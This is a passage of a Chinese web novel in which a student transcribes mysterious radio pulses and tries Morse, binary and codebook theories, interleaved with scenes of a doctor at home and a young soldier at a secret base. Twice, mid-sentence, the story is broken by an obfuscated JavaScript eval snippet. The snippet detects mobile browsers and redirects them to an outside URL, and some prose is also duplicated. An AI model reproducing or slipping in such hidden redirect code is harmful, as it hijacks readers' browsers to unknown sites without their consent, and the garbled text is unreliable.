就在两首歌曲切换的短暂空白间隙,一个极其微弱、非自然的“滋滋”声,如同幽灵般,再次夹杂在背景噪音中,一闪而过! 来了! 叶馨蒙的心脏猛地一跳,但她的动作却稳如磐石。她没有丝毫犹豫,右手立刻抓起铅笔,左手轻轻调节收音机的微调旋钮,试图让那信号更清晰一些。她的耳朵几乎要贴到收音机的喇叭上。 “滋滋……滋……滋滋滋……” 信号断断续续,极其不稳定,时强时弱,仿佛随时会消失。但它确实存在,而且与上次听到的质感一模一样! 第一步:专注倾听。她闭上双眼,将所有感官都集中在听觉上。外界的一切都消失了,她的世界里只剩下那细微、诡异、充满未知信息的电流脉冲声。大脑如同高速计算机,开始对接收到的声音进行初步分析和分类。 第二步:记录节奏。铅笔尖迅速落在空白的纸页上。她摒弃了所有复杂的设备,回归最原始也最可靠的方法——纸笔记录与模式识别。她尝试将听到的脉冲声转化为最简单的符号: ·短暂的“滋”声,记录为一个点(·)。 ·稍长一点的“滋滋”声,记录为一条短横线(—)。 ·更长的停顿,则留下稍大的空格。 她的手腕稳定而迅速,笔尖在纸上沙沙作响,留下了一串由点和线组成的、看似杂乱无章的序列: 【·—··——···—·——···—··—…】 这本质上是在尝试用听觉破译一种可能的二进制编码,类似莫尔斯电码,但可能规则完全不同。她不确定这到底是什么编码,但记录下其节奏模式是第一步。 第三步:记录音高变化。在记录节奏的同时,她极其敏锐地捕捉到,那“滋滋”声并非一成不变,其音调(频率)有极其细微的起伏!有时会稍微尖锐一点,有时则略显低沉。这可能是另一种维度的信息载体! 她立刻在节奏符号的上方或下方,添加了新的标记: ·用向上的箭头(↑)表示她感知到的音调升高。 ·用向下的箭头(↓)表示音调降低。 于是,纸上的记录变成了更复杂的两行: 节奏行:·—··——···—·——···—··— 音高行:↓↑·↓↑↑·↓↓↑·↓↑↑··↓↑·… (注:·表示音高无显著变化或无法判断) 第四步:坚持与捕捉。信号极其微弱,时断时续。有时突然清晰几秒,然后又湮没在音乐或噪音中。叶馨蒙必须保持极致的耐心和专注,手指因为用力握着铅笔而微微发白,额头也渗出了细密的汗珠。她不敢有丝毫分神,生怕错过任何一个关键的脉冲。 这样的监听和记录持续了大约十分钟。期间信号出现了三次相对清晰的波段,每次持续几十秒到一分钟不等。 当信号最终彻底消失,收音机里重新只剩下正常的节目声音时,叶馨蒙才缓缓放下铅笔,长长地舒了一口气。她感到一阵精神上的疲惫,但眼神却异常明亮。 她拿起记录得密密麻麻的纸张,仔细审视着上面那些由点、线、箭头构成的“天书”。单看这一次的记录,似乎毫无规律可言。 但叶馨蒙并不气馁。她知道,情报传输为了确保接收,往往会重复发送。 关键在于重复。 她需要连续多个晚上,在同一时间段,坚守在这个频率前,捕捉并记录下尽可能多的信号片段。然后,将这些不同夜晚的记录进行交叉对比,寻找其中重复出现的、完全相同的模式序列。 一旦找到了重复的模式,那就几乎可以百分之百地确定——这绝非自然干扰或偶然,而是有意识、有目的的人工编码信息传输! 她将今晚的记录小心地标注上日期和时间然后收进一个上了锁的抽屉里。…… 窗外,夜色正浓。 她关掉台灯和收音机,宿舍陷入一片黑暗。但她知道在这座看似平静的校园乃至整个城市的上空,正有看不见的电波在传递着不为人知的秘密。 而她,已经抓住了这秘密的一缕蛛丝。接下来的工作,更需要耐心和智慧。破译,才刚刚开始。这场隐藏在声波中的无声战争,她已悄然介入。 深夜的敲门声略显急促,打破了宿舍内的绝对专注。叶馨蒙如同被惊动的夜行动物,眼神瞬间一凛,但迅速恢复了平静。她以极快的速度关掉了收音机旋钮,那诡异的“滋滋”声戛然而止,仿佛从未出现过。她将记录着符号的纸张随手塞进一本摊开的教科书里合上,这才起身,脸上挂起一丝恰到好处的、带着被打扰的困倦,走过去开门。 门外站着的是倪梦萱。她端着一个白色的小瓷盘,上面整齐地码放着五颜六色、看起来十分精致的马卡龙,正散发着刚出炉的甜香和温热气息。倪梦萱的脸色比之前红润了不少,眼神里的惊惧也消散了许多,但眉宇间还残留着一丝劫后余生的脆弱感。 “馨蒙!没打扰你休息吧?”倪梦萱的声音带着点歉意和轻快,“我刚烤好的马卡龙,想着给你送点来尝尝鲜。” “谢谢啦。进来坐坐?” “不了,我还给她们几个也送点。” 送走倪梦萱,叶馨蒙关上门,脸上的笑容瞬间收敛。她走到书桌前,重新拿出那张记录着电波符号的纸,目光锐利…… 真正的战斗,或许才刚刚拉开序幕。而必须做好万全准备。 隔日,深夜11点左右,叶馨蒙再次打开了那台老式收音机。 旋钮转动,熟悉的电台声音流淌出来,是夜间谈话节目,主持人和嘉宾正讨论着一个不痛不痒的社会话题。叶馨蒙调到她重点监控的那个频率,将音量调到恰好能听清细节又不至于扰民的程度。 她凝神静气,侧耳倾听了将近二十分钟。 一切正常。 只有清晰的节目音频和微弱的、属于正常广播范围的背景底噪。那个诡异的、带有明确脉冲节奏感的“滋滋”声,暂时并没有出现。 叶馨蒙脸上没有丝毫失望的表情,反而像是确认了什么,轻轻关掉了收音机。猎手需要极大的耐心,信号的间歇性出现本就在预料之中。果然过了十多分钟,来了。“滋滋……” 大约0点左右,录音完毕。她开始分析已有的“猎物”痕迹。 她清理好书桌,如同进行一场庄严的仪式,然后将所需的工具一一摆放整齐:多个笔记本和不同颜色的笔:这是她的主战场。几个崭新的硬皮笔记本,一盒包含黑、红、蓝、绿在内的多种颜色水笔。一把带秒针的手表:表盘清晰,秒针移动平稳,用于精确捕捉脉冲时长。一把透明直尺:用于在纸上画出规整、精确的时间轴。手机开启飞行模式,仅使用本地录音功能,这是她的“辅助记忆库”。她不会依赖软件分析但需要它能忠实回放记录下的音频片段,供她反复核对。 工具准备就绪,叶馨蒙深吸一口气,眼神变得无比专注,开始了正式的破译工作—— 第一步,首先建立时间轴和符号系统。 她打开一个空白笔记本,用直尺和铅笔在页面顶端画下一条长长的水平线作为时间基准轴。然后,以厘米为单位,每隔一厘米做一个精细的标记,代表5秒的时间间隔。这样,整页纸可以记录下相当长一段信号的时间流。接着在这个笔记本的扉页,清晰地定义了自己的一套符号系统,这是破译的“密码本”。 脉冲时长:短脉冲(凭听觉和经验判断,持续时间约在0.1至0.3秒之间):在时间轴对应位置,用一个清晰的点(·)或短竖线(|)表示。她决定主要使用长脉冲(持续时间约0.5至0.9秒):用一道横线(—)表示。由于暂时未发现中间时长的脉冲,故只定义这两种基本单位。) 关于频率/音高变化,使用黑色笔记录脉冲符号。显著低音(沉闷的“嗡嗡”感),在该脉冲符号上方或下方,用蓝色笔轻轻标注一个(低)或简单画个向下的箭头↓。显著高音(尖锐的“嘶嘶”感):用红色笔标注(高)或向上箭头↑。(其他音高无显著变化或难以判断时,则不特别标注。) 静默间隔即脉冲之间的停顿。她用空格自然表示。并在空白处用铅笔小字注明该次静默的大致时长(如“间隔约2秒”) 第二步:转录与分析已有记录。 她拿出上次记录的那些零散的、写在便签纸上的原始符号。现在,她要将这些碎片化的信息系统化地转录到时间轴笔记本上。她打开手机的录音回放功能,戴上耳机,将播放速度调到慢速(如0.5倍速),以便更精确地分辨每个脉冲的起止。 操作开始,定位起点即找到录音中信号首次出现的时间点,在时间轴的对应位置做一个标记(T=0)逐秒聆听与标记:从T=0开始,以5秒为一个观察单元,按下秒表计时。耳机里传来:“滋——”(这个声音持续了约0.7秒)。 她立刻在时间轴对应位置画下一道横线(—)。同时,她回忆并核对笔记,这个长脉冲的音调似乎偏低?她回放这一小段,确认感知无误,于是在横线下方用蓝色笔标注了一个小小的↓。 接着是短暂的静默,约1.5秒。她在时间轴上留下空格,并在旁边铅笔备注“间隔~1.5s”。然后听到:“滋·滋”(两个非常短的脉冲,每个约0.2秒,中间几乎无间隔)。她在时间轴上连续点上两个点(··)。回放确认音高无特殊变化,故用黑笔记录。 她就以这种方式,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937075|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小段一小段地、极其耐心地将整个录音中所有捕捉到的异常信号,连同其时间、时长、音高信息,全部转录到时间轴笔记本上。遇到不确定的地方,就反复回放录音,直到做出最准确的判断。最终,她的笔记本页面上出现了一条由黑、红、蓝三色符号组成的“序列带”。黑色是基础脉冲,红色和蓝色的标注像音符上的升降号,赋予了这些符号更丰富的维度。 第三步:寻找模式与重复。完成单次记录的转录后,她并不急于下结论。她知道,孤证不立。她需要对比不同日期、相同时段记录到的信号片段。她将今晚转录好的时间轴,与上次记录的、尚未精细标注的草稿进行初步比对,用荧光笔标出任何看起来相似的符号序列(比如连续的“—··—”模式)。由于需要更多样本。接下来的夜晚她会继续守听、录音、并按照这套标准流程进行转录。当积累到足够多的样本(比如3-5个不同夜晚的记录)后,她就会进行更系统的交叉对比。寻找在不同记录中完全重复出现的符号序列(包括脉冲节奏和音高变化)。一旦找到这样的“重复句”,就能铁定这是人为编码信号,并且其内容很可能具有特定含义(可能是呼号、指令、密钥或固定信息)。 破译工作繁琐、枯燥,且极度耗费心神但叶馨蒙乐在其中。每一个符号的确认,每一次模式的比对,都像是在解开一个巨大的谜题让她得到极大的满足。 时间在笔尖的沙沙声和耳机里反复回放的滋滋声中悄然流逝。台灯下的身影专注而坚定仿佛与外界隔绝。……对她而言,这不仅仅是破译电波,更是在编织一张捕捉隐藏真相的网。而她已经找到了编织的方法。 ———————————————— 韦奚珃结束当天工作,驾车回到错层式豪宅。 灯火通明的客厅里,弥漫着一种刻意的空旷和整洁。韦奚珃脱下沾染了医院气息的西装外套径直走入浴室。温热的水流冲刷着健壮身体…… 温热的水流冲刷着健壮的身体,水珠沿着紧绷的肩胛线条滚落,在精悍的腰际汇聚成细小的溪流。雾气蒸腾中,他仰起头,喉结随着呼吸缓慢滚动,水流淌过喉结处那道浅淡的疤痕时微微改变了轨迹。 浴室暖光在他覆着水光的胸肌上投下深浅不一的阴影,腹肌的沟壑间蓄着水,随着他转身取沐浴露的动作,水光在紧绷的皮肤上流动闪烁。他挤沐浴露的动作不疾不徐,修长的手指在瓶身上留下模糊的湿痕。 泡沫在掌心绽开,被他抹上脖颈、胸膛,再到平坦的小腹。他清洗得很仔细,指腹划过每一处肌理,像在确认什么,又像只是纯粹享受这个卸下疲惫的过程。水流冲走白色泡沫时,泡沫恋恋不舍地在他紧实的大腿肌肉上多停留了一瞬。 冲洗完毕,他关掉水,站在渐散的雾气里。水珠自发梢滴落,沿着脊柱的凹陷一路向下,没入腰间的浴巾。他用毛巾擦拭头发时,手臂肌肉因抬起而微微隆起,肩胛像收拢的羽翼般在皮肤下舒展移动。 走出浴室时,他身上还带着湿润的热气。没开大灯,只借着走廊的夜灯走向卧室。昏暗中,他的轮廓被柔化,但每一道线条依然清晰——宽肩窄腰的比例在光影中显得尤为突出。浴巾松垮地系在髋骨上,露出人鱼线逐渐隐入白色棉布下的阴影。 他在卧室的全身镜前停顿片刻,审视镜中的自己。手指无意识地抚过肋骨下方一处淡得几乎看不见的旧伤,眼神里有种职业性的冷静评估,随即又掠过一丝极淡的、与这空旷豪宅格格不入的什么。 最终他扯掉浴巾,换上黑色丝质睡裤。布料滑过皮肤时发出细微声响,贴在腿上,勾勒出流畅的腿部线条。他没穿上衣,就那样走到落地窗前。 窗外是城市深夜的灯火,在他赤裸的胸膛上映出零星光点。他一手撑在玻璃上,微微低头,背肌在动作中舒展成漂亮的扇形。这个姿势保持了很长时间,长到肩上的水珠终于蒸发殆尽,只在皮肤上留下微凉。 然后他转身,把自己抛进宽大的床铺。身体陷入柔软织物时发出轻微的叹息,肌肉终于完全放松下来。床头灯被他按灭,黑暗瞬间吞没了房间,也吞没了那具在短暂时刻里毫无保留展露过的身体。 只有窗外偶尔掠过的车灯,会在他沉睡的侧脸上扫过一瞬即逝的光,照亮紧闭的睫毛,还有随着呼吸平缓起伏的胸膛。…… 不知过了多久。他突然惊醒:“忘了一件事!” 起身穿上舒适的深色家居服,走下客厅坐进宽大柔软的布艺沙发里。没有开主灯,只有角落里的落地灯散发出昏黄柔和的光晕在他脸上投下明暗交错的阴影。 沉默片刻,他拿起一部外观普通、但明显经过特殊加密处理的手机。指尖在冰冷的屏幕上熟练地操作拨通了一个冗长而复杂的号码。 短暂的等待音后,电话接通了。那边很安静,几乎没有背景杂音。 “喂,是我。”韦奚珃的声音响起,褪去了在医院时的客套与温和,带着一种私密的、略显低沉的质感。 “最近你们怎么样?”他先是惯例地问候,语气平静,但手指却无意识地摩挲着沙发的布料边缘。 短暂的交流后,他话锋一转,切入真正想说的主题,声音里不自觉地带上一丝不易察觉的急切和温柔:“千荨在医院吗。……我想和她说话。” 他等待着,期待着电话那端传来那个久违了的熟悉、清亮又带着点倔强的声音。 58. 不明电波(3) 在某个遥远、隐秘、无法从地图上找到的地点——瑆洲b军区,一间布满各种精密电子仪器、屏幕闪烁着幽幽蓝光的通讯室内。 一个身形高挑挺拔的十九岁年轻女兵正戴着专业的降噪耳机,全神贯注地调试着面前复杂的仪器面板。合身的蓝色迷彩服衬得她腰身纤细,四肢修长。她长相极为出色,眉宇间透着专注与英气,眼型是极漂亮的杏仁眼,眼尾微微上挑,专注时眸光如淬了寒星的深潭,清澈又锐利。鼻梁高而挺拔,在操作台微冷的光线下投出一道清隽的侧影。嘴唇不薄不厚,唇线清晰,此刻正微微抿着,透着一股不服输的韧劲儿。她的皮肤并非娇养的白皙,而是带着长期训练后健康匀净的小麦色,光滑紧实,颧骨处有一层极淡的、被海风拂过的红晕,不仅无损于她的美丽,反而更添勃勃生气与独特的风霜质感。 最动人的是她凝神时,那饱满光洁的额头下微微蹙起的眉峰——不是愁绪,而是全副心神与精密数据博弈时的锋锐凝结。几缕被汗水濡湿的乌黑碎发,从她严谨束于脑后的发辫中溜出,柔化了些许过于锐利的轮廓,却衬得那专注的侧颜,在钢铁仪器的冰冷背景前,有一种惊心动魄的、柔韧与刚毅交织的美。那不是温室花朵的精致,而是松枝覆雪、利剑藏鞘般的英气与清丽。 仪器发出细微的嗡鸣,屏幕上跳动着不断变化的信号波形。她秀眉微蹙,试图捕捉一个微弱且极不稳定的特定频段。今晚的信号干扰异常强烈,她已经尝试了许久。 就在这时,通讯室厚重的隔音门被推开一条缝,一个同样穿着迷彩服、身形矫健的年轻男兵探进头来,压低声音喊道:“千荨!韦医生来电话了!” 女兵调试仪器的手指一顿:“来了。”她迅速看了一眼主控台上另一个指示灯并未亮起的通讯线路,眼中闪过一丝疑惑和不易察觉的失落。奇怪……联络方使用的是备用加密线路但这条线路今晚似乎也受到了干扰,她这边并未收到直接接入的提示。 她立刻对着话筒尝试呼叫,但耳机里只有滋滋啦啦的电流噪音,无法建立清晰稳定的语音连接。“信号不稳定!我这边收不到联络方的清晰语音!”女兵边说边手指更快地在控制面板上操作着试图滤除干扰,锁定信号源。 “交给我吧。你去接电话,韦医生在等着呢。”门外的男子应了一声,走进来,尝试用其他方式尝试联系或转达消息了。 女兵深吸一口气,看着眼前的仪器,明亮的眼眸里映照着屏幕的蓝光充满了专注与挑战。眼前棘手的技术问题暂时被与韦奚珃通话所取代……在这个与世隔绝的隐秘空间里,夜晚……同样漫长。【隐藏剧情见番外九】 接下来的几个夜晚,叶馨蒙的生活规律得像一个精密仪器。每晚同一时间她都会准时坐在书桌前,收音机调到那个频率,笔记本、彩笔、秒表、直尺和手机准备就绪。她像一个耐心的猎人,在电磁波的丛林里守候着那只神秘的“猎物”。 第一夜:捕获与混乱。 信号如期而至。那熟悉的“滋滋”声再次钻进耳膜。她立刻启动秒表,笔尖在时间轴上飞速移动。然而,信号比记忆中更急促,脉冲之间的间隔时而清晰时而模糊。她全神贯注,依靠直觉和瞬间判断进行记录。二十分钟后,信号消失,她摊开手掌,发现指尖因为用力而微微发白。笔记本上记录下的符号,虽然大致遵循了系统,但仍有几处显得犹豫不决,用问号标注着。这是一份“草稿”。 第二夜:修正与完善。 有了前一晚的经验,她的听觉似乎被重新校准了。这次,她更加从容。当信号出现时她不仅记录还在心里默默验证昨晚的存疑点。 “这里不是长脉冲,应该是两个连续的短脉冲!”她迅速修正了符号。记录完成后的核对工作也变得更有针对性,重点回放那些之前不确定的段落确保今晚的记录是“洁净”且“准确”的。 第三夜:确认与掌控。 到了这一夜,她已经对信号的“性格”有了一定的了解。记录工作变得行云流水。她甚至能分出一丝心神,去感受信号中那细微的、近乎情感般的节奏变化。记录下来的图案,与前一夜的高度吻合。信心,开始在她心中积聚。 核心攻坚:并排对比 现在,她将三个晚上最清晰、最完整的一组信号记录,并排铺在桌面上。用的是三张活页纸,方便对齐。 1.寻找“指纹”——起始与终止码: 她的目光像扫描仪一样掠过三组记录的开头和结尾。瞬间,一个清晰的模式跳了出来! 三组记录的开头,毫无例外,都是完全相同的序列:·——·(短-长-长-短)。 而结尾,则都跟着一个长达3秒的绝对静默。 “找到了!”叶馨蒙心中一阵悸动。这就是信息的“信封”,·——·是收件人的地址标签,长静默是封口。所有有效信息,都封装在这两者之间。 2.剖析“正文”——分组规律: 她将注意力集中在“信封”内的核心序列上。剔除起始和终止码后,剩下的脉冲序列看起来依然复杂。她尝试用不同方式去“断句”。 ·尝试按固定间隔分组,失败,节奏并不均匀。 ·尝试寻找更小的重复单元。她用铅笔轻轻在脉冲序列上划隔断,突然发现,脉冲常常以3个或5个为一组出现,组与组之间有非常短暂(约0.2秒)的间隔。 ·例如,一段序列看起来可能是:··—/—··/——·/·—·... “三进制或五进制的组合?”她思索着。更可能的是,这是一种变长编码,不同的组合代表不同的字符。 3.统计与假设——二进制映射: 这是最关键的一步。她需要为这些脉冲赋予意义。最直接的假设就是二进制。 她新建一页纸,标题写上:《二进制假设验证》。 ·假设A:短脉冲·=0,长脉冲—=1。 ·假设B:短脉冲·=1,长脉冲—=0。 她选择其中一组最清晰的序列,比如··—(短短长),按照假设A,它就是001;按照假设B,就是110。 她将几组常见的组合都翻译成二进制数: ···=000或111 ———=111或000 ·—·=010或101 ... 看着这些二进制数字,叶馨蒙知道,她站在了真正的大门前。这些数字本身毫无意义,它们需要一把“钥匙”来解读——那就是密码本。 灵光一现 她凝视着那独一无二的起始码·——·。如果它也参与编码,它代表什么? 她将其转换为二进制。按假设A,是0110;按假设B,是1001。 1001……这个数字在计算机科学中很常见,是9的二进制表示,有时也代表一个起始标志。又或者,这个起始码本身就是一个提示?·——·在标准莫尔斯电码里,是字母J! “J”代表什么?是发送者的代号?是“紧急”信息的标志?还是……一个页码或坐标的提示? 叶馨蒙叶馨蒙合上记录着密密麻麻点划符号的笔记本,深吸一口气。第一个,也是最自然的破译思路,很可能就是莫尔斯电码。无线电通讯的“通用语言”。 第一步:回忆与确认 她闭上眼,在脑海深处搜寻特工的知识库。点、划、间隔……字母、数字……影像有些模糊,如同隔着一层毛玻璃。她不能完全依赖记忆,需要一个确切的对照表。 现在是信息时代。她迅速而安静地打开从家里带来的笔记本电脑,连接手机网络(避免使用可能被监控的校园Wi-Fi),在搜索引擎中输入“Morse Code Chart”。瞬间,清晰的莫尔斯电码表呈现在屏幕上。 第二步:初次尝试与短暂的兴奋 她将笔记本上记录的一组看似完整的脉冲序列——剔除掉她认为是“起始码”的·——·和长长的终止静默——铺在桌面上。序列看起来是这样的: ··—/—··/——·/·—·/… 她按照莫尔斯电码的规则,将每组点划视为一个字母,组间的短暂间隔视为单词间的分隔。 ··—对应莫尔斯电码是U —··对应莫尔斯电码是B ——·对应莫尔斯电码是G ·—·对应莫尔斯电码是R “U B G R……”她轻声念出,心脏微微加速。这看起来像某个单词的缩写!然而,接下来的脉冲组合翻译出来的字符开始变得杂乱无章:“…/·——是**J**,—·—`是K……” 完整的序列翻译出来是:“U B G R J K X P…” 这堆字母毫无意义,既不是已知的单词缩写,也不是任何有逻辑的句子。短暂的兴奋感迅速冷却。她换了一组数据进行尝试,得到的是另一串杂乱的字母:“A F Q Z L O…” 第三步:直面现实与深度分析 “果然不行。”叶馨蒙靠在椅背上,眼神锐利地盯着那串乱码。失望只是一闪而过,取而代之的是更深的思索。这结果本身就在她的预料之中,但也揭示了重要信息: 1.排除法生效:这不是标准的明码莫尔斯电码通信。发送方具备基本的反侦察意识。 2.原理被借用:信号使用了与莫尔斯电码高度相似的点(·)、划(—)和间隔系统。这说明发送者很可能熟悉传统无线电操作,或者故意将信号伪装成某种业余爱好者的通讯以规避初步筛查。 3.自定义编码的可能性极大:现在,问题从“这是什么语言?”变成了“这套自定义语言的字典是什么?” 第四步:转向“自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937076|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定义编码”的思维层面 她的思维向高度专业化、逻辑化的模式切换。如果点划不代表字母,那它们代表什么?几种经典的可能性在她脑中飞速旋转: 可能性一:二进制编码。这是最直接的转换。将·定义为0,—定义为1(或者相反)。那么,··—就是001(或110),—··就是100(或011)。这些二进制数字可以代表任何东西:页码、行数、词序、甚至是经纬度的简写。破译的关键在于找到那本对应的“密码本”。 可能性二:移位或替换密码。也许它底层确实是莫尔斯电码,但每个字母都经过了一定的偏移。比如,明码是A,发送时却用了代表B的码。这需要尝试不同的偏移量,或者寻找一个密钥词。 可能性三:一次性密码本。这是最安全也几乎无法暴力破译的方式。点划序列对应一个只有发送和接收方才有的、绝对随机且只用一次的密码本。如果真是这样,她单凭截获信号几乎不可能破解。 第五步:锁定最可能的突破口 基于现实考量(对方需要重复发送,且接收方需要能相对方便地解码),叶馨蒙将可能性一(二进制编码)列为首要调查方向。而那个独特的起始码·——·成为了新的焦点。 “如果·——·不是莫尔斯电码里的‘J’,那它作为二进制数是什么呢?” 她快速计算: 假设·=0,—=1,则·——·=0110,十进制是6。 假设·=1,—=0,则·——·=1001,十进制是9。 6或9。这会是某种索引吗?第六章?第九页?还是……一个日期? 窗外,天色已蒙蒙亮。叶馨蒙感到一阵精神的疲惫,但更多的是一种踏入迷宫深处的战栗。莫尔斯电码的尝试失败了却为她指明了真正需要前进的方向。她需要离开书桌去寻找可能与“6”、“9”或者这些二进制序列相关的线索——那本隐藏在所有数字背后的决定性的“密码本”。 她认为下一个战场将是各个图书馆,书店乃至任何可能隐藏着密钥的平凡角落…… 策略制定:寻找“密钥”的路径 不过她没有盲目行动。首先,她需要确定搜寻范围。假设信号发送方是间谍网络,密码本必然具备两个特征:一是隐蔽性,外表看起来必须普通无害;二是可获取性,接收方能相对安全、方便地取得或查阅。 她将可能的形式列举出来: 1.出版物:某本特定的书、杂志、地图册。这是最经典的方式。 2.公共标识:公告栏、广告牌、车牌号、商店招牌中固定的数字或字母组合。 3.日常物品:特定品牌的商品标签、票据存根、课程表、时刻表。 4.数字载体:某个看似普通的网站页面、论坛帖子、广播节目时间表。 考虑到起始码“·——·”可能代表的数字6或9,以及信号接收方很可能也在本地活动,叶馨蒙将搜索重点首先锁定在圣保罗的公共空间和周边固定设施上。图书馆是她的第一站。 --- 第一站:图书馆——书海寻针 上午九点,叶馨蒙走进了圣保罗图书馆。她没有直奔热门区域,而是有策略地观察和搜寻。 ·索引与线索:她首先查阅图书馆的导引图,特别注意那些标注为“6”或“9”的区域,比如6号阅览室、9楼特藏室。她在这些地方停留,观察是否有固定摆放的、看起来不起眼但位置永不移动的书籍或标识。结果:除了常规的图书和座位,并无特殊发现。 ·特定书架:她根据“6”和“9”,找到对应分类号(如中图法分类号以6或9开头)的书架区域。工程科技(T类,部分属于工业技术,与“间谍”活动可能相关的电子、通信类图书在此)、文学(I类,9开头是文学)……她在这些书架前缓步移动,目光扫过书脊,寻找任何可能不同寻常的排列、标记或被频繁抽动痕迹的书籍。一无所获。 ·报纸与期刊:她来到报刊阅览区,翻看近期的报纸。……因为特工有时会利用报纸上特定的版面、日期或广告作为解码参照。她重点关注了那些含有大量数字信息的版面:股市行情、彩票中奖号码、天气预报中的经纬度数据。她将起始码数字与报纸日期(6号、9号、每月6日/9日出版的期刊)进行交叉比对,没有发现稳定的可与信号记录建立联系的模式。 半天过去,图书馆这座信息海洋并未直接浮现出她想要的“钥匙”。但她并非全无收获:她排除了图书馆内存在固定、公开、易得的明显密码本的可能性。密码本可能更动态,或者更私人化。 --- 第二站:校园与周边——日常中的密码 下午,叶馨蒙开始徒步巡视校园和外面紧邻的街道。她的角色从一个信息接收者,转变为一个环境扫描仪。 59. 不明电波(4) ·数字陷阱:她格外留意所有带有数字“6”和“9”的标识:第六教学楼、第九实验楼、6路公交站牌、门牌号带6或9的店铺、甚至垃圾桶的编号。她记下位置,思考这些地点是否构成一个观察序列或接收信号的有利位置(如朝向、视野)。信号接收者是否需要在特定时间,面朝某个带“6”或“9”标识的方向? ·广告与公告:布告栏、海报、灯箱广告、餐厅菜单上的价目表……任何包含序列、代码或网格状信息的地方,她都驻足片刻,用手机拍下,准备回去与信号二进制序列进行粗略比对。例如,一张社团活动时间表,能否用二进制解读行和列? ·商店与窗口:她留意那些橱窗陈列长期不变的小店。一家老式钟表店,展示的手表永远停在某个特定时间(如6点09分)?一家书店的窗台上,永远摆放着同一套(或许是第六册和第九册)旧书? 这种“地毯式”搜索耗费体力,且带有极大的盲目性。黄昏时分,叶馨蒙坐在路边的长椅上,揉着发酸的小腿,感到了第一波强烈的挫败感。城市太大了,信息太杂了。密码本可能是一本一年前出版的、在某旧书摊偶然能买到的冷门书,也可能是一个只有内部人员才知道访问方式的暗网页面。这样找下去无异于大海捞针。 --- 第三站:思维跃迁——从“哪里找”到“谁在用” 夜晚回到住所,疲劳和焦虑并没有击垮叶馨蒙。她泡了杯浓茶,再次铺开信号记录和白天拍摄的照片。她意识到,自己可能陷入了思维定式:一直在寻找静态的密码本。 “如果……密码本不是一本书或一个固定标识呢?”她盯着信号记录,“如果它本身就是动态生成的,基于接收方和发送方共享的某个‘种子’和一套‘算法’呢?” 这个想法让她精神一振。如果是这样,那么起始码“·——·”很可能不是指向一个地点或一本书的页码,而是指向生成算法的参数或索引。 ·“6”或“9”作为日期索引:比如,每月6日或9日,使用当月当日的报纸头版某个固定位置的文字作为密码本? ·“6”或“9”作为时间索引:信号接收时间(或发送时间)的时、分、秒,经过某种运算(比如乘以6或9,或取第6、第9位数字)得到一个数值,用来从一本通用工具书(如《新华字典》)中确定起始页和行? ·“J”作为关键词:起始码在莫尔斯电码中是“J”。是否某个以J开头的关键词(如“瑆洲”、“警惕”、“基础”),其拼音或笔画数决定了后续解码的偏移量? 她需要验证这些动态模型。这意味着她必须连续监听更多信号,寻找变化中的不变规律。 --- 第四夜:监听与模式验证 当晚,叶馨蒙再次守候在收音机前。信号如约而至。这一次,她的记录更加精确、快速。信号结束后,她立刻进行比对。 一个至关重要的发现出现了:起始码“·——·”完全相同,但紧随其后的核心脉冲序列,与前三晚的记录截然不同。 这个发现如同黑夜中的一道闪电: 1.密码本确实是动态变化的,否则信息无法更新。 2.起始码是“钥匙中的钥匙”,它很可能标识了本次解码应该使用的密码本版本或生成参数。 3.“·——·”可能是一个“频道标识”或“日期码”,代表这个信号序列属于某个系列(比如“J系列”),而具体解码需要结合接收日期或其他变量。 叶馨蒙迅速翻开日历,并查看手机上的日期记录。第一晚监听是11月2日,第二晚11月3日,第三晚11月4日,今晚是11月5日。都是连续的日期。但“·——·”代表的6或9,与日期没有直接对应。 “等等……如果‘·——·’不是代表数字,而是代表‘今日密码本生成规则’的代号呢?”她脑中火花迸溅,“比如,代号‘J-6’表示:使用今日(11月5日)《瑆洲晚报》第6版第6行文字作为密码本?而代号本身,可能每周或每月通过其他更安全的方式(如死信投递)通知接收方?或者,就固化在起始码中,‘·——·’永远代表‘使用当日第6版’?” 这个假设将寻找固定密码本的任务,转变为了确定动态密码本的生成规则和来源。后者依然困难,但范围大大缩小——它一定是一个接收方每天都能稳定、隐蔽获取的公共信息源。 --- 第五站:锁定源头——每日更新的公共文本 接下来几天,叶馨蒙的生活节奏变成了:夜晚监听记录信号,白天则化身调查员,专注于搜集那些每日更新、内容固定、本地发行、易于获取的公共文本。 她的目标清单急剧收窄: 1.本地报纸:《瑆洲日报》、《瑆洲晚报》每日各版。 2.校园官方每日信息:食堂门口小黑板上的每日菜单(价格或菜名编码?)、主楼前的每日通知公告(编号?)。 3.广播/电视节目固定环节:本地电台的整点报时后固定播送的天气预报(温度、湿度数字?)、某个固定时段的股市快讯(代码和价格?)。 4.网络公共信息:本地市政府网站首页的“每日更新”栏目、校园官网的“今日要闻”(发布日期和文章ID?)。 她开始系统性地收集这些材料,尤其是《瑆洲晚报》(考虑到晚报下班后获取,更符合夜间接收信号后的解码场景)。她将每一天的报纸对应每一天截获的信号(虽然信号内容不同,但起始码相同),尝试建立关联。 这是一个繁琐至极的工作,需要极大的耐心和一丝不苟的记录。她制作了巨大的交叉对照表格,将信号二进制序列与报纸文本的笔画数、拼音字母序数、ASCII码,甚至版面行列位置进行各种可能的映射尝试。 